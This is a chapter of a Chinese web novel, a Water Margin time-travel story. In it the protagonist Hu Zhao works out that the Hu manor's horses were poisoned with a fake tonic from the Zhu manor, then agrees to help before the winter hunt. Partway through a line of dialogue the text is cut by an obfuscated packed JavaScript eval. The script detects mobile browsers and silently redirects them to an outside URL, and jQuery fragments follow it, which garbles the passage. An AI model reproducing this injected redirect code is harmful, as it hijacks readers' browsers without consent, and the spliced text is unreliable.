“哦……原是如此。”扈太公缓缓道，“倒是老夫误会了。”


    他咳嗽两声，唤来仆从备酒备菜，自是好一顿招待不提。


    户昭不饮酒，汤足饭饱，便与扈家主事三人议起眼前急务来。


    “小郎君常年随马队行走，想必于马务上颇有实学，既应了小女之请，便烦请瞧瞧庄里的马罢。”桌上说了半箩筐的话，这时扈太公也不再多加寒暄了，直接开门见山。


    委实是庄子里众人烦忧多日，已不知到底哪根才是救命稻草了，即便可能无用，但凡见了便想要抓上一抓。


    扈太公吩咐大儿子扈成：“成儿，你快带这位户小郎君去马厩瞧瞧。”


    “承蒙太公信任，不敢推脱。”户昭躬身，语态恭敬。


    扈成早已心急，立刻上前扯住她：“并非我等粗鄙无礼、不识得礼数，不让户兄弟歇息，实在因为情况十万火急耽误不得，还望千万莫怪，请户兄弟随我来。”


    “岂敢岂敢？某自晓得轻重。”


    户昭随扈成出了书房。


    扈三娘已等在廊下，见二人出来，只淡淡道一声：“走。”便率先开路。


    三人直奔东院马厩。扈成边走边说明病马状况，户昭仔细听着，偶尔追问细节，扈三娘蛾眉紧锁，也时常补充上一二。


    到了马厩，气味扑鼻。几匹马夫守在里侧栏位旁，愁容满面。


    “马怎样了？”扈成急问。


    可算来了个瞧着能成的人了。年长的马夫小心看了眼新客，摇头：“还是不吃不喝，发热萎靡。灌了几回药了，也不见大疗效。”


    扈三娘看向户昭。


    户昭未急着近前，先站在栏外观察。那是三匹高头大马，毛色黯淡，呼吸粗重。


    “何时发的病？发病前有何异常？庄里可新进了马匹？”她连问几句。


    马夫见户昭问得郑重，忙答道：“有一阵子了，乌骓先不对劲。草料饮水如常。半月前从北边买了两匹新马，那两匹没事，隔在那边。”向户昭一一说了马匹名字和近来情况。


    户昭耐心听了，点头，让马夫开栏，小心走近乌骓，低语安抚呜咽的马儿片刻，便上了手。


    触手烫热，乌骓无力垂头。她检查眼睑、口鼻，按压马腹，侧听肠音，又查了另外两匹。


    “不是时疫，也非寻常积食。”户昭沉吟，“三匹马症状相似却略有不同：乌骓腹胀肠音弱，赤电眼红口涎黏，雪蹄呼吸有异，偶有咳嗽。”


    户昭问马夫：“最近马厩可曾用新驱虫药？或在水料中添加东西？”


    “我们冬日里很少驱虫，不过……”一年轻马夫犹豫地看了一眼扈成，低声道：“半月前，祝家庄送来几包健马散，说是秘方强身。管事让每匹马都拌了点……”


    扈成脸色一变：“祝家庄送的药？为何不报！”


    年轻马夫哆嗦道：“管事说……是祝家庄好意，不好推辞……”


    扈三娘听到“祝家庄”三字，嘴角微抿，眼中闪过冷光。她语气异常平静：“张洪何在？”张洪便是管事的姓名。


    “今早告假回家了……”


    户昭听了这话，心下亦是了然，但不多问：“药可还有剩余？”


    “还有一包未开封，在管事屋里。”


    “还请速速取来。另备绿豆甘草汤，放温后灌服，再取新鲜青草。”户昭吩咐干脆。


    马夫看向扈成，扈成压着火点头：“照做！”


    药很快取来。户昭开包细嗅捻看，断然道：“这不是健马散。其中混了两种东西：一种是猛烈的燥热药，短时服用损耗元气；另一种则会慢慢伤了肠胃呼吸。剂量不大，但一次多服便会发热厌食，若不及时解毒，便再不复好马风光，只能弱骥伏枥了。”


    语毕，马厩内一派愕然死寂。


    片刻，扈成最先开口，拳头捏响：“实在欺人太甚！我这就去祝家庄问罪！”


    “大哥莫冲动。”扈三娘声音不高，却让扈成止步。


    她脸上寒霜凝结：“你去问，他们便认么？无凭无据，反落口实。祝家做事向来冠冕堂皇，管事‘告假’怕是早留退路。此时去，除了打草惊蛇，还能如何？”


    扈成怔住，重重叹气。


    扈三娘看向户昭：“郎君看来，马毒可能解？”


    “娘子放心，中毒不深，还可一解。”户昭道，“绿豆甘草汤先清热毒，我再开方调理肠胃。这几日饮食须干净清淡，新马也须隔离观察。”


    旁侧庄丁纸笔奉上，她挥手写下方子。


    扈成接过，先不由叹了一声：“户兄弟好字啊！”便转身急去，着人抓药熬煮去了。


    扈三娘吩咐马夫：“一切照户公子说得办，切记仔细些。马厩内外须彻底清理一番，莫留任何不妥当的东西。”


    她目光扫过众人，声音带着不容轻慢的分量，“诸位，三娘自是信任你等，今日之事，大家也请管好自己的嘴，勿往外说。”


    众马夫自然无有不应，慌忙去了。


    “户公子请随我来。”扈三娘转向户昭。


    二人走到僻静回廊下。


    “方才看公子查验马匹、开方下药，手法稳当，见解通透。”扈三娘住步站定，“三娘当日邀公子入庄，原存了几分试量的心思。如今看来，倒是误打误撞，请对了人。”


    户昭微微颔首：“娘子过誉。蒙庄主看重，应了差事，自当尽力一试，左不过是干这个的，正合了本业。”话说得平实。


    “能尽本分，已是不易。”扈三娘目光投向远方，声音低了些，“公子初来，或许不知此间情势。三庄早年盟誓共守，如今早已离心。祝家庄仗着势大，行事愈发紧逼。我扈家庄……”她微顿，摇了摇头。


    户昭静立，并未追问，只随她望向远山。这沉默倒让扈三娘觉出此人颇沉得住气。


    “庄里不是没请过外人，厚酬奉上，好话听得，真遇事时，却多是虚与委蛇，不堪一用。”扈三娘语气透出一丝冷意，“此番马匹之事，若非公子点破，只怕真要着了他们的道。”


    户昭略一欠身：“恰是分内所知罢了。”答得谦逊，却无惶恐。


    扈三娘见他如此，便也不多白话，转入正题：“公子此来，正遇上五日后三庄冬围，名为


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007934|194107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    联谊，实为掂量各家斤两。”


    “扈家庄若在这当口示弱，往后只怕举步维艰。”


    户昭沉吟片刻：“娘子之意，是让这几匹马在冬猎时，须撑得起门面？”


    此话切中要害，扈三娘目光微亮：“正是。想请公子多留几日。这几匹马，但求冬围前能立得住、走得动即可。不求出奇，只求不落人眼目。”


    她稍顿，又道：“冬围场上，人马是关键。若彼时再有人暗中动作，公子既精于此道，可否代为留意？”


    户昭没有立刻应答。她垂目思量片刻，抬眼时语气平和谨慎：“马匹调理，五日想必可见转机，但难保它们得以安然行动。然既承信重，我自当想尽办法，勉力试上一试。至于冬猎场上……小可既在此，必会留心。”


    话语间自有一股让人安心的力量。


    扈三娘望着她平静的眉眼，忽觉此人看似朴拙少言，心里却似明镜一般，正如此人面相，瞧着澄澈如湖。


    功夫不负苦心人，她扈家庄，也总算被她请来了一位人才，不枉多日派人留意守候。


    她深深再看户昭一眼：“公子所需，可随时找我大哥支取。”


    稍顿语气，复道，“你现是我请的客卿，我等虽家业不大，也供得公子吃穿用度，之后不必推脱客气，我父亲兄长，还有我，给公子的，你毋庸顾虑，一概接下便是。”


    户昭点头:“谢过娘子。”


    正在此时，一庄丁匆匆寻来：“三娘子，祝家庄遣人送帖商议冬较一事，来人正在前厅。”


    扈三娘眼底厌烦一闪而过，声气仍平：“知道了。”


    向户昭道，“公子专心照看马匹，其余不必分心。”


    言罢，红影一转，径往前厅去了。


    户昭自己又在马厩四近转了片刻，吩咐马夫一番，方才在庄丁带引下回到自己房中。


    夜幕四临，屏退闲人，门闩落下。


    屋内未点灯，只有雪地微光朦朦透入。


    她引了火，桌前瞬间亮堂，照得桌上的金银也是无限光华，万分耀眼。


    户昭不去看那些黄白之物。


    并非她不爱财。实在是奔波一天，累过了。


    但还有一件事，她睡前必做。


    自怀中取出那方以厚皮紧密包裹的折叠平板。解开系带，指尖轻触，屏幕幽幽亮起。


    电量已不足半，正好卡在四十四。


    真是一个极好的数字。


    大雪天气，日头少出，难以充电，她不敢多用，迅速看了看《水浒传》中“三打祝家庄”相关情节，心中默算。


    如今正是深冬，若依书中脉络，梁山兵马似还算远。冬猎在即，三庄暗涌，局似将发。


    先立足于此，才是目前顶要紧的事，再以后，便走一步看十步罢，事在人为，不可为也能想尽办法为的。


    屋内重归昏暗。


    窗外寒风低啸。远处庄门方向，隐约有马蹄声传来，又渐渐远去。


    嗨，好了，累了，休息，不必多虑。


    三更灯火五更的户昭，革/命尚未成功，明日还需早起呢。